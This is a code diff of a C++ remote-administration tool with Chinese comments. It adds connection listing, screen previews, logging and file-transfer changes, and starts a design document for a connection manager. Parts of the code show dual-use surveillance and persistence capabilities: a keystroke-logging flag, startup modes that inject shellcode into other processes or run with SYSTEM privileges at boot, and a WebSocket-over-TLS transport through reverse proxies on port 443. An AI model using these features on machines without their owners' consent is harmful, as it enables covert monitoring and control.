||||
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||
uint32_t pid; // 所属进程 PID [4]
|
||||
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||
uint16_t localPort; // 主机字节序(小端) [2]
|
||||
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||
}; // 合计 110
|
||||
#pragma pack(pop)
|
||||
|
||||
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
|
||||
|
||||
#pragma pack(push, 1)
|
||||
struct SignatureResp {
|
||||
char msg[64];
|
||||
char signature[64];
|
||||
};
|
||||
|
||||
struct TextReplace {
|
||||
uint8_t cmd;
|
||||
uint8_t type;
|
||||
@@ -403,13 +486,17 @@ static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 by
|
||||
|
||||
// 屏幕预览:服务端按双击在线主机触发,向客户端要一张缩略图(JPEG),与浮窗一起显示。
|
||||
// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发;客户端
|
||||
// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG,预留 PNG/WebP。
|
||||
// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。
|
||||
//
|
||||
// format 字段:v1 只有 JPEG(0);Windows 客户端走这条路(GDI+ 编码)。Linux 客户端
|
||||
// 没有可依赖的 JPEG 编码库,改为回 BGRX(3) 原始像素,由服务端在 IO 线程统一编码成
|
||||
// JPEG——下游(浮窗/列表缩略图/MCP get_screenshot)因此只认 JPEG 一种格式。
|
||||
#pragma pack(push, 1)
|
||||
struct ScreenPreviewReq {
|
||||
uint8_t cmd; // = COMMAND_SCREEN_PREVIEW_REQ
|
||||
uint16_t reqId; // 请求序号,用于丢弃过期响应
|
||||
uint16_t maxWidth; // 服务端期望的目标宽度(客户端等比缩放,不强制)
|
||||
uint8_t jpegQuality; // 1..100
|
||||
uint8_t jpegQuality; // 1..100(BGRX 客户端不编码,服务端按自己的档位重编)
|
||||
uint16_t reserved;
|
||||
}; // 总 8 字节
|
||||
|
||||
@@ -424,6 +511,9 @@ enum ScreenPreviewFormat {
|
||||
SCREEN_PREVIEW_FMT_JPEG = 0,
|
||||
SCREEN_PREVIEW_FMT_PNG = 1, // 预留
|
||||
SCREEN_PREVIEW_FMT_WEBP = 2, // 预留
|
||||
// 原始像素:自上而下逐行、每像素 4 字节 B,G,R,X(X 填充为 0xFF),无行首对齐填充。
|
||||
// bytes 必须等于 width*height*4;客户端已缩放到 maxWidth 以内,不再二次缩放。
|
||||
SCREEN_PREVIEW_FMT_BGRX = 3,
|
||||
};
|
||||
|
||||
struct ScreenPreviewRspHeader {
|
||||
@@ -736,6 +826,8 @@ enum TestRunType {
|
||||
Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code )
|
||||
Startup_GhostMsc, // Windows 服务
|
||||
Startup_TestRunMsc, // Windows 服务
|
||||
Startup_GhostSystem, // SYSTEM 权限运行(随开机启动)
|
||||
Startup_TestRunSystem, // SYSTEM 权限运行(随开机启动)
|
||||
};
|
||||
|
||||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||
@@ -754,9 +846,15 @@ enum ProtoType {
|
||||
PROTO_HTTP = 2, // HTTP
|
||||
PROTO_RANDOM = 3, // 随机
|
||||
PROTO_KCP = 4, // KCP
|
||||
PROTO_HTTPS = 5, // HTTPS
|
||||
PROTO_WS = 5, // WebSocket(明文;反代把 upgrade 转发到主控端口)
|
||||
PROTO_WSS = 6, // WebSocket over TLS(客户端经反代 443 等受限端口接入)
|
||||
PROTO_HTTPS = 7, // HTTPS(未启用:生成界面从未提供该选项,故 5 可让给 WS;原值 5)
|
||||
};
|
||||
|
||||
// WebSocket 传输的 Upgrade 路径。反代的 location 必须与这里一致(服务端默认接受任意路径,
|
||||
// 该常量只决定客户端请求哪个路径,见 client/WsChannel.h)。
|
||||
#define WS_UPGRADE_PATH "/api/ws"
|
||||
|
||||
#define KCP_SESSION_ID 666
|
||||
|
||||
enum RunningType {
|
||||
@@ -807,7 +905,8 @@ public:
|
||||
char installDir[32]; // 安装目录
|
||||
char installName[32]; // 安装名称
|
||||
char installDesc[136];// 安装描述
|
||||
char szFututre[500]; // 保留字段
|
||||
int installFlag; // 安装标记
|
||||
char szFututre[496]; // 保留字段
|
||||
|
||||
public:
|
||||
void SetType(int typ)
|
||||
@@ -1017,6 +1116,7 @@ enum LOGIN_RES {
|
||||
RES_CLIENT_ID = 16, // 客户端唯一ID
|
||||
RES_PID = 17, // 进程ID
|
||||
RES_FILESIZE = 18, // 文件大小
|
||||
RES_TLS = 19, // TLS 传输启用标志 0/1
|
||||
RES_MAX,
|
||||
};
|
||||
|
||||
@@ -1041,13 +1141,34 @@ typedef struct LOGIN_INFOR {
|
||||
{
|
||||
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||
bToken = TOKEN_LOGIN;
|
||||
// 能力位:声明客户端实际实现了的功能。SCREEN_PREVIEW 只在 Windows 客户端
|
||||
// 实现(依赖 GDI BitBlt + GDI+ JPEG),Linux/macOS 不声明,避免服务端发请求
|
||||
// 后等 4s 超时显示"预览不可用"。
|
||||
SetCaps(DefaultCaps());
|
||||
}
|
||||
|
||||
// 本平台的默认能力位:声明客户端实际实现了的功能。
|
||||
// SCREEN_PREVIEW 依赖抓屏:Windows 恒为真(GDI BitBlt + GDI+ JPEG);Linux 要等
|
||||
// 运行时确认有可截图的 X11 会话,所以不在这里声明,由 main.cpp 探测后用
|
||||
// SetCaps(DefaultCaps() | CLIENT_CAP_SCREEN_PREVIEW) 追加。
|
||||
static unsigned int DefaultCaps()
|
||||
{
|
||||
unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||
#ifdef _WIN32
|
||||
caps |= CLIENT_CAP_SCREEN_PREVIEW;
|
||||
caps |= CLIENT_CAP_C2C_PATHS;
|
||||
// 协议切换(COMMAND_SET_PROTO)只有 Windows 客户端实现了命令处理与入口持久化。
|
||||
caps |= CLIENT_CAP_PROTO_SWITCH;
|
||||
#elif defined(__linux__) && !defined(__ANDROID__)
|
||||
// Linux 客户端作为 C2C 目标端时会回执落盘结果(common/FileTransferV2.h)。
|
||||
// macOS 暂未接线(无全局主连接句柄),不声明——服务端就不会为它空等回执。
|
||||
caps |= CLIENT_CAP_C2C_RECV_ACK;
|
||||
#endif
|
||||
return caps;
|
||||
}
|
||||
|
||||
// 覆写能力位。服务端只从 moduleVersion 的 "版本-XXXX" 后缀解析能力位
|
||||
// (2015RemoteDlg.cpp AddList),因此改能力位必须重写该字段;
|
||||
// LOGIN_INFOR 是与服务端共享的定长结构,不能再加成员来携带它。
|
||||
void SetCaps(unsigned int caps)
|
||||
{
|
||||
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
|
||||
}
|
||||
LOGIN_INFOR& Speed(unsigned long speed)
|
||||
@@ -1098,6 +1219,7 @@ enum AuthStatus {
|
||||
UNAUTHORIZED = 0, // 未授权
|
||||
AUTHED_BY_SUPER = 1, // 由超级管理员授权
|
||||
AUTHED_BY_ADMIN = 2, // 由管理员授权
|
||||
AUTH_FORBIDDEN = 9,
|
||||
};
|
||||
|
||||
// 固定1024字节
|
||||
@@ -1168,7 +1290,9 @@ typedef struct MasterSettings {
|
||||
char GetPluginUrl[80]; // Since 2026-04-08
|
||||
char Authorized; // Since 2026-05-15
|
||||
char IsTrail; // Since 2026-05-15
|
||||
char Reserved[106]; // Since 2025-11-27
|
||||
uint16_t TransferChunkKb; // Since 2026-10-07 文件传输速度 chunkKb(随登录配置下发)
|
||||
uint16_t TransferDurationMs; // Since 2026-10-07 文件传输速度 durationMs(0=不限速)
|
||||
char Reserved[102]; // Since 2025-11-27
|
||||
} MasterSettings;
|
||||
#pragma pack(pop)
|
||||
|
||||
@@ -1293,7 +1417,8 @@ typedef struct ScreenSettings {
|
||||
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
||||
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
||||
int EncodeLevel; // 偏移 48, 编码等级
|
||||
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
|
||||
int CustomCursor; // 偏移 52, 自定义光标
|
||||
char Reserved[40]; // 偏移 56, 保留字段(新能力参数从此处扩展)
|
||||
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
||||
} ScreenSettings; // 总大小 100 字节
|
||||
|
||||
@@ -1628,6 +1753,10 @@ typedef struct CharMsg {
|
||||
}
|
||||
} CharMsg;
|
||||
|
||||
#endif
|
||||
|
||||
// 客户端 -> 服务端的老式提示框消息(TOKEN_CLIENT_MSG)。原来定义在 _WIN32 区内,
|
||||
// Linux 客户端自升级失败回报也要用,故移到公共区(strcpy_s 在非 Windows 下已 alias)。
|
||||
typedef struct ClientMsg {
|
||||
unsigned char cmd;
|
||||
char title[31];
|
||||
@@ -1650,4 +1779,3 @@ typedef struct ClientMsg {
|
||||
}
|
||||
} ClientMsg;
|
||||
|
||||
#endif
|
||||
@@ -16,6 +16,7 @@
|
||||
#define ENABLE_AUDIO_MNG TRUE // 语音管理
|
||||
#define ENABLE_VIDEO_MNG TRUE // 视频管理
|
||||
#define ENABLE_SERVICE_MNG TRUE // 服务管理
|
||||
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
|
||||
#define ENABLE_REGISTRY TRUE // 注册表管理
|
||||
#define ENABLE_KEYBOARD TRUE // 键盘记录
|
||||
|
||||
|
||||
@@ -99,6 +99,34 @@ struct C2CPrepareRespPacket {
|
||||
// char path[pathLength]; // UTF-8 目标目录
|
||||
}; // 19 bytes + path
|
||||
|
||||
// C2C 路径清单发送请求(服务端 → 源客户端):让源客户端把指定路径(文件或目录)直接发给另一个客户端。
|
||||
// 与 COMMAND_CLIPBOARD_V2 的区别是「路径由服务端指定」,而不是取源端剪贴板/资源管理器选中项。
|
||||
// 字符串一律用 ANSI(936),与 CMD_DOWN_FILES_V2 一致:客户端用 A 版 API 访问文件系统。
|
||||
struct C2CSendFilesPacket {
|
||||
uint8_t cmd; // COMMAND_C2C_SEND_FILES = 174
|
||||
uint64_t transferID; // 传输ID(服务端生成,结果包原样带回)
|
||||
uint64_t srcClientID; // 源客户端(收包方)
|
||||
uint64_t dstClientID; // 目标客户端(收包方即发送方,数据包里带上它)
|
||||
char hash[64]; // 认证哈希(与上一级主控一致,目标端按自己的 m_hash 解密)
|
||||
char hmac[16]; // HMAC
|
||||
uint8_t flags; // 保留(bit0 = 断点续传,v1 恒 0,不启用)
|
||||
// char targetDir[...]; '\0'; // 目标端保存目录(绝对路径,不以 '\' 结尾也可)
|
||||
// char path1[...]; '\0'; ...; // 源端绝对路径(文件或目录),列表以空串结束:额外一个 '\0'
|
||||
}; // 106 bytes + 字符串
|
||||
|
||||
// C2C 结果包:源客户端 → 服务端(TOKEN_C2C_SEND_RESULT,发送结果)
|
||||
// 或 目标客户端 → 服务端(TOKEN_C2C_RECV_RESULT,落盘回执;win32err 位置放 errno,workerRc 恒 0)
|
||||
struct C2CSendResultPacket {
|
||||
uint8_t cmd; // TOKEN_C2C_SEND_RESULT = 175 / TOKEN_C2C_RECV_RESULT = 176
|
||||
uint64_t transferID; // 对应请求的 transferID
|
||||
uint64_t dstClientID; // 目标客户端
|
||||
uint32_t status; // 0=已全部发送;FEV2_* 失败码;1001=发送线程失败(见 workerRc)
|
||||
uint32_t win32err; // status=FEV2_FILE_NOT_FOUND/ACCESS_DENIED 时的首个 win32 码
|
||||
int32_t workerRc; // FileBatchTransferWorkerV2 返回值(0=成功)
|
||||
uint32_t fileCount; // 实际发出的文件数(不含目录项)
|
||||
uint64_t totalBytes; // 实际发出的(回执里是实际落盘的)文件字节数
|
||||
}; // 41 bytes(#pragma pack(1))
|
||||
|
||||
// V2 文件完成校验包
|
||||
struct FileCompletePacketV2 {
|
||||
uint8_t cmd; // COMMAND_FILE_COMPLETE_V2 = 91
|
||||
@@ -130,6 +158,7 @@ enum FileErrorV2 : uint8_t {
|
||||
FEV2_TRANSFER_CANCEL = 6, // 传输被取消
|
||||
FEV2_CHECKSUM_ERROR = 7, // 校验和错误(块级CRC)
|
||||
FEV2_HASH_MISMATCH = 8, // 哈希不匹配(文件级SHA-256)
|
||||
FEV2_WRITE_FAILED = 9, // 接收端写盘失败(POSIX 端 errno 无法归类时用它,明细在 win32err)
|
||||
};
|
||||
|
||||
// V2 续传查询包(发送方在传输前发送)
|
||||
|
||||
@@ -256,6 +256,18 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
|
||||
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
|
||||
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
|
||||
// docs/FileTransferSpeed_Design.md)。
|
||||
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
|
||||
{
|
||||
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
|
||||
durMs = cfg.GetInt("transfer", "DurationMs", 50);
|
||||
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
|
||||
if (durMs < 0 || durMs > 2000) durMs = 50;
|
||||
}
|
||||
|
||||
// 配置读取类: 注册表配置(带键句柄缓存)
|
||||
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
|
||||
class iniFile : public config
|
||||
|
||||
+25
-3
@@ -4,6 +4,8 @@
|
||||
#include <iphlpapi.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <WinInet.h>
|
||||
#include <map>
|
||||
#include <mutex>
|
||||
#include "logger.h"
|
||||
#include "jsoncpp/json.h"
|
||||
|
||||
@@ -200,6 +202,18 @@ public:
|
||||
{
|
||||
if (IP.empty()) return "";
|
||||
|
||||
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
|
||||
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
|
||||
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
|
||||
static std::map<std::string, std::string> geoCaches;
|
||||
static std::mutex geoMutex;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(geoMutex);
|
||||
auto it = geoCaches.find(IP);
|
||||
if (it != geoCaches.end())
|
||||
return it->second;
|
||||
}
|
||||
|
||||
std::string ip = IP;
|
||||
if (isLocalIP(ip)) {
|
||||
ip = getPublicIP();
|
||||
@@ -249,7 +263,13 @@ public:
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
if (location.empty() && IsPrivateIP(ip)) {
|
||||
return "Local Area Network";
|
||||
location = "Local Area Network";
|
||||
}
|
||||
|
||||
// 只缓存成功结果;失败不缓存,允许下次重试。
|
||||
if (!location.empty()) {
|
||||
std::lock_guard<std::mutex> lk(geoMutex);
|
||||
geoCaches[IP] = location;
|
||||
}
|
||||
return location;
|
||||
}
|
||||
@@ -308,8 +328,10 @@ private:
|
||||
}
|
||||
}
|
||||
|
||||
std::string city = Utf8ToAnsi(json[cityField].asString());
|
||||
std::string country = Utf8ToAnsi(json[countryField].asString());
|
||||
// 地理位置 API 返回 UTF-8;不再转 CP_ACP——那会把 ö/ä/ß 等变音符替换成 '?'。
|
||||
// GetGeoLocation 现统一返回 UTF-8,消费方按需用 NormalizeLocationToUtf8 / SafeUtf8ToAnsi 转。
|
||||
std::string city = json[cityField].asString();
|
||||
std::string country = json[countryField].asString();
|
||||
|
||||
if (!city.empty() && !country.empty()) return city + ", " + country;
|
||||
if (!city.empty()) return city;
|
||||
|
||||
+49
-1
@@ -29,6 +29,7 @@
|
||||
#include <cstdarg>
|
||||
#include <iomanip>
|
||||
#include <algorithm>
|
||||
#include <deque>
|
||||
|
||||
|
||||
inline bool stringToBool(const std::string& str)
|
||||
@@ -150,6 +151,22 @@ public:
|
||||
std::string logEntry = file && line ?
|
||||
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
|
||||
id + "[" + timestamp + "] " + message;
|
||||
|
||||
// 方案B:在源头统一保证每条日志以单个 '\n' 结尾,文件与内存 ring buffer
|
||||
// 共用同一份文本;写文件时不再额外追加换行,内存导出直接拼接即可正确分行。
|
||||
while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
|
||||
logEntry.pop_back();
|
||||
logEntry += '\n';
|
||||
|
||||
// Always record to in-memory ring buffer regardless of enable flag.
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||
m_memLog.push_back(logEntry);
|
||||
m_totalCount++;
|
||||
if (m_memLog.size() > kMemLogMax)
|
||||
m_memLog.pop_front();
|
||||
}
|
||||
|
||||
if (enable) {
|
||||
if (running) {
|
||||
std::lock_guard<std::mutex> lock(queueMutex);
|
||||
@@ -168,6 +185,32 @@ public:
|
||||
cv.notify_one(); // 通知写线程
|
||||
}
|
||||
|
||||
// 返回内存 ring buffer 中的全部日志(供 TCP 查询使用)
|
||||
std::string DumpMemoryLog() const
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||
std::string result;
|
||||
result.reserve(m_memLog.size() * 128);
|
||||
for (const auto& entry : m_memLog)
|
||||
result += entry;
|
||||
return result;
|
||||
}
|
||||
|
||||
// 增量版本:只返回 fromAbs 之后的新条目,并将 fromAbs 更新到当前末尾。
|
||||
// fromAbs 是调用方维护的绝对计数器(首次传 0 即得全量)。
|
||||
std::string DumpMemoryLogFrom(size_t& fromAbs) const
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||
// ring buffer 内最旧条目的绝对序号
|
||||
size_t oldest = (m_totalCount >= m_memLog.size()) ? m_totalCount - m_memLog.size() : 0;
|
||||
size_t startIdx = (fromAbs <= oldest) ? 0 : (fromAbs - oldest);
|
||||
std::string result;
|
||||
for (size_t i = startIdx; i < m_memLog.size(); ++i)
|
||||
result += m_memLog[i];
|
||||
fromAbs = m_totalCount;
|
||||
return result;
|
||||
}
|
||||
|
||||
// 停止日志系统
|
||||
void stop()
|
||||
{
|
||||
@@ -220,6 +263,11 @@ private:
|
||||
std::mutex fileMutex; // 文件写入锁
|
||||
std::string pid; // 进程ID
|
||||
|
||||
static constexpr size_t kMemLogMax = 1000;
|
||||
std::deque<std::string> m_memLog;
|
||||
size_t m_totalCount = 0;
|
||||
mutable std::mutex m_memMutex;
|
||||
|
||||
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
|
||||
|
||||
~Logger()
|
||||
@@ -263,7 +311,7 @@ private:
|
||||
std::lock_guard<std::mutex> lock(fileMutex);
|
||||
std::ofstream logFile(logFileName, std::ios::app);
|
||||
if (logFile.is_open()) {
|
||||
logFile << logEntry << std::endl;
|
||||
logFile << logEntry; // logEntry 已在 log() 中以单个 '\n' 结尾
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,148 @@
|
||||
/**
|
||||
* sha256_posix.h - 最小实现 SHA-256(POSIX 侧)
|
||||
*
|
||||
* 为什么不用现成的:Windows 侧的 SHA-256 走 BCrypt(common/VerifyV2.h),
|
||||
* Linux/macOS 没有 BCrypt,也没有 OpenSSL 依赖,而 V2 文件发送要向服务端
|
||||
* 回报 FileCompletePacketV2.sha256,必须自己算。
|
||||
*
|
||||
* 只实现 FileTransferV2 需要的流式接口(update/final),不做别的事。
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64)
|
||||
#error "sha256_posix.h is POSIX-only; Windows uses BCrypt via VerifyV2.h."
|
||||
#endif
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <cstring>
|
||||
|
||||
class Sha256
|
||||
{
|
||||
public:
|
||||
Sha256() { reset(); }
|
||||
|
||||
void reset()
|
||||
{
|
||||
static const uint32_t init[8] = {
|
||||
0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
|
||||
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19
|
||||
};
|
||||
memcpy(m_h, init, sizeof(m_h));
|
||||
m_bufLen = 0;
|
||||
m_totalLen = 0;
|
||||
}
|
||||
|
||||
void update(const void* data, size_t len)
|
||||
{
|
||||
const uint8_t* p = (const uint8_t*)data;
|
||||
m_totalLen += len;
|
||||
|
||||
if (m_bufLen > 0) {
|
||||
size_t take = 64 - m_bufLen;
|
||||
if (take > len) take = len;
|
||||
memcpy(m_buf + m_bufLen, p, take);
|
||||
m_bufLen += take;
|
||||
p += take;
|
||||
len -= take;
|
||||
if (m_bufLen == 64) {
|
||||
transform(m_buf);
|
||||
m_bufLen = 0;
|
||||
}
|
||||
}
|
||||
while (len >= 64) {
|
||||
transform(p);
|
||||
p += 64;
|
||||
len -= 64;
|
||||
}
|
||||
if (len > 0) {
|
||||
memcpy(m_buf, p, len);
|
||||
m_bufLen = len;
|
||||
}
|
||||
}
|
||||
|
||||
// 输出 32 字节摘要;调用后对象可 reset() 复用(不自动 reset,避免隐式行为)
|
||||
void final(uint8_t out[32])
|
||||
{
|
||||
uint64_t bitLen = m_totalLen * 8;
|
||||
|
||||
// 0x80 + 零填充 + 64 位长度,凑满整块
|
||||
uint8_t pad[72];
|
||||
memset(pad, 0, sizeof(pad));
|
||||
pad[0] = 0x80;
|
||||
size_t padLen = (m_bufLen < 56) ? (56 - m_bufLen) : (120 - m_bufLen);
|
||||
update(pad, padLen);
|
||||
|
||||
uint8_t lenBytes[8];
|
||||
for (int i = 0; i < 8; ++i) {
|
||||
lenBytes[i] = (uint8_t)(bitLen >> (56 - 8 * i));
|
||||
}
|
||||
update(lenBytes, sizeof(lenBytes));
|
||||
|
||||
for (int i = 0; i < 8; ++i) {
|
||||
out[4 * i] = (uint8_t)(m_h[i] >> 24);
|
||||
out[4 * i + 1] = (uint8_t)(m_h[i] >> 16);
|
||||
out[4 * i + 2] = (uint8_t)(m_h[i] >> 8);
|
||||
out[4 * i + 3] = (uint8_t)(m_h[i]);
|
||||
}
|
||||
}
|
||||
|
||||
static void hash(const void* data, size_t len, uint8_t out[32])
|
||||
{
|
||||
Sha256 s;
|
||||
s.update(data, len);
|
||||
s.final(out);
|
||||
}
|
||||
|
||||
private:
|
||||
static uint32_t rotr(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }
|
||||
|
||||
void transform(const uint8_t block[64])
|
||||
{
|
||||
static const uint32_t K[64] = {
|
||||
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
|
||||
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
|
||||
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
|
||||
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
|
||||
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
|
||||
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
|
||||
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
|
||||
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
|
||||
};
|
||||
|
||||
uint32_t w[64];
|
||||
for (int i = 0; i < 16; ++i) {
|
||||
w[i] = ((uint32_t)block[4 * i] << 24) | ((uint32_t)block[4 * i + 1] << 16) |
|
||||
((uint32_t)block[4 * i + 2] << 8) | (uint32_t)block[4 * i + 3];
|
||||
}
|
||||
for (int i = 16; i < 64; ++i) {
|
||||
uint32_t s0 = rotr(w[i - 15], 7) ^ rotr(w[i - 15], 18) ^ (w[i - 15] >> 3);
|
||||
uint32_t s1 = rotr(w[i - 2], 17) ^ rotr(w[i - 2], 19) ^ (w[i - 2] >> 10);
|
||||
w[i] = w[i - 16] + s0 + w[i - 7] + s1;
|
||||
}
|
||||
|
||||
uint32_t a = m_h[0], b = m_h[1], c = m_h[2], d = m_h[3];
|
||||
uint32_t e = m_h[4], f = m_h[5], g = m_h[6], h = m_h[7];
|
||||
|
||||
for (int i = 0; i < 64; ++i) {
|
||||
uint32_t S1 = rotr(e, 6) ^ rotr(e, 11) ^ rotr(e, 25);
|
||||
uint32_t ch = (e & f) ^ (~e & g);
|
||||
uint32_t t1 = h + S1 + ch + K[i] + w[i];
|
||||
uint32_t S0 = rotr(a, 2) ^ rotr(a, 13) ^ rotr(a, 22);
|
||||
uint32_t maj = (a & b) ^ (a & c) ^ (b & c);
|
||||
uint32_t t2 = S0 + maj;
|
||||
|
||||
h = g; g = f; f = e; e = d + t1;
|
||||
d = c; c = b; b = a; a = t1 + t2;
|
||||
}
|
||||
|
||||
m_h[0] += a; m_h[1] += b; m_h[2] += c; m_h[3] += d;
|
||||
m_h[4] += e; m_h[5] += f; m_h[6] += g; m_h[7] += h;
|
||||
}
|
||||
|
||||
uint32_t m_h[8];
|
||||
uint8_t m_buf[64];
|
||||
size_t m_bufLen;
|
||||
uint64_t m_totalLen;
|
||||
};
|
||||
@@ -0,0 +1,259 @@
|
||||
# TCP/UDP 连接管理设计
|
||||
|
||||
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
|
||||
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
|
||||
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
|
||||
>
|
||||
> 需求原文(三点,逐一对应下文):
|
||||
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
|
||||
> 2. 客户端需要增加一个管理类来处理服务端请求;
|
||||
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
|
||||
|
||||
## 1. 目标与范围
|
||||
|
||||
### MVP
|
||||
|
||||
| 项 | 说明 |
|
||||
|---|---|
|
||||
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
|
||||
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
|
||||
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
|
||||
|
||||
### 非目标(Non-goals,本次不做)
|
||||
|
||||
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
|
||||
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
|
||||
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
|
||||
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
|
||||
|
||||
## 2. 复用现状
|
||||
|
||||
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
|
||||
|
||||
### 客户端模板(读参考实现,全部已核实)
|
||||
|
||||
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
|
||||
```
|
||||
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth();
|
||||
m_hThread[m_ulThreadCount].p = sub; }
|
||||
m_hThread[m_ulThreadCount++].h =
|
||||
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
```
|
||||
连接管理照抄,仅换 `LoopConnectionManager`。
|
||||
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
|
||||
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
|
||||
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
|
||||
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
|
||||
